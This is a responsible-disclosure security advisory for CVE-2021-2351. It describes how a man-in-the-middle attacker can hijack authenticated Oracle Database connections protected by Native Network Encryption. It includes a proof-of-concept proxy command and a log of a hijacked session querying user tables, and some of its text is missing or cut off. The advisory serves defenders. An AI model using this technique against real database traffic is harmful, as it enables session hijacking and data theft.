Advisory ID: SYSS-2021-061   
Product: Database  
Manufacturer: Oracle  
Affected Version(s):,, 19c  
Tested Version(s): 18c  
Vulnerability Type: Protection Mechanism Failure (CWE-693)  
Risk Level: High  
Solution Status: Fixed  
Manufacturer Notification: 2021-03-17  
Solution Date: 2021-08-07  
Public Disclosure: 2021-12-10  
CVE Reference: CVE-2021-2351  
Author of Advisory: Moritz Bechler, SySS GmbH  
Oracle Database is a general purpose relational database management   
system (RDMBS).  
The manufacturer describes the product as follows (see [1]):  
"Oracle database products offer customers cost-optimized and high-performance   
versions of Oracle Database, the world's leading converged, multi-model   
database management system, as well as in-memory, NoSQL and MySQL databases.  
Oracle Autonomous Database, available on premises via Oracle Cloud@Customer   
or in the Oracle Cloud Infrastructure, enables customers to simplify relational   
database environments and reduce management workloads."  
To protect the client/server communication, a proprietary security protocol   
"Native Network Encryption" (NNE) is used.   
A TLS-based alternative can optionally be configured.  
Due to insecure fallback behavior, a man-in-the-middle attacker can bypass  
NNE's protection against man-in-the-middle attacks and hijack authenticated  
connections. In some configurations, a full man-in-the-middle attack is  
Vulnerability Details:  
To mitigate against man-in-the-middle attacks on the initial Diffie-  
Hellman key exchange, the protocol implements the mixin of an additional  
shared key that is established by the authentication protocol   
(typically O5Logon). This relies on the fact that both client and server  
have knowledge of the user password (hash), which a potential attacker   
does not have.  
For more details on the protocol, refer to our paper [4].  
SySS, however, found out that the JDBC Thin client implementation did   
not implement that fold-in and its connections were still accepted   
by database servers. The server performs a fallback to the initial   
session key if the decryption/integrity check fails.  
That original key is known to an attacker who has performed a classic  
man-in-the-middle attack against the initial Diffie-Hellman key exchange.  
For JDBC Thin client, this allows direct observation and manipulation  
of the application level traffic, as both parties still use the   
original keys.  
Nevertheless, other clients, which implement the authentication key fold-in,   
are still vulnerable. While the client expects a different session key  
after authentication has completed, it can simply be dropped/ignored.   
The server side of the connection at this point is already authenticated   
and communication is still possible due to the key fallback. This grants  
access to the database system as the original victim user.  
This attack is successful in all known configurations, except if TLS  
security is used.  
Proof of Concept (PoC):  
For protocol analysis and attacks, SySS built a proxy server implementing  
the database protocol fundamentals and NNE. The proxy can perform a  
man-in-the-middle attack against the Diffie-Hellman key exchange during  
NNE negotation. Then, the necessary translation and adjustment between  
the client and server, which are now using different session keys, is  
Launching the proxy and redirecting a client connection to it, the  
man-in-the-middle attack is performed. The encrypted part of the further  
protocol negotiation can be observed, including the authentication exchange.  
Then, the client is dropped, and the proxy sends a predefined query to the   
The following log excerpt shows an OCI client (21.3) connecting as the  
system user. The connection is hijacked and the system user table is  
queried by the attack proxy.  
> ./ --targethost --mitmDH --hijackConnection  
|###[ Service ]###   
| serviceId = encryption  
| numParameters= 2  
| unknown1 = 0  
|###[ EncryptionResp ]###   
| version = 12000000  
| algo = AES256  
|###[ Service ]###   
| serviceId = integrity  
| numParameters= 8  
| unknown1 = 0  
|###[ IntegrityResp ]###   
| version = 12000000  
| algo = SHA256  
| len1 = 0800  
| len2 = 0800  
| generator = [...]  
| prime = [...]  
| public = [...]  
| rand = 666F6F206261722062617A206261742071757578  
DEBUG:root:Forward server -> client  
DEBUG:root:Received encrypted payload [...]  
[authentication completed at this point]  
INFO:root:Initially hijacking connection  
DEBUG:root:Received encrypted payload [...]  
INFO:root:###[ TTIMsg ]###   
TTCode = 8  
###[ RPA ]###   
outNbPairs= None  
\nbPairs \  
|###[ KVPair ]###   
| keyPtr = None  
| key = b'\x00VOracle Database 18c Express Edition Release - Production\nVersion'  
INFO:root:b'[...]+select DISTINCT username FROM sys.all_users[...]  
INFO:root:Send encrypted payload [...] len 368  
DEBUG:root:Received encrypted payload [...]  
INFO:root:###[ TTIMsg ]###   
TTCode = 6  
###[ Raw ]###   
load = '[...]\x07\x06DBSNMP\x07\tAPPQOSSYS\x07\nGSMCATUSER\x07\x05GGSYS\x07\x03XDB[...]'  
Update the Oracle Database servers and clients to the patched versions.  
Enforce usage of a secured protocol version by setting the following options:  
Or use TLS-based transport security instead of Native Network Encryption.  
More information: (customer account required)  
Disclosure Timeline:  
2021-03-02: Vulnerability discovered  
2021-03-17: Vulnerability reported to manufacturer  
2021-07-20: Initial patch release by manufacturer,   
2021-08-07: Final patches released by manufacturer  
2021-12-10: Public disclosure of vulnerability  
[1] Product website for Oracle Database  
[2] SySS Security Advisory SYSS-2021-061  
[3] SySS Responsible Disclosure Policy  
[4] Paper "Oracle Native Network Encryption"  
This security vulnerability was found by Moritz Bechler of SySS GmbH.  
Public Key:  
Key ID: 0x768EFE2BB3E53DDA  
Key Fingerprint: 2C8F F101 9D77 BDE6 465E CCC2 768E FE2B B3E5 3DDA  
The information provided in this security advisory is provided "as is"   
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible. The  
latest version of this security advisory is available on the SySS website.  
Creative Commons - Attribution (by) - Version 3.0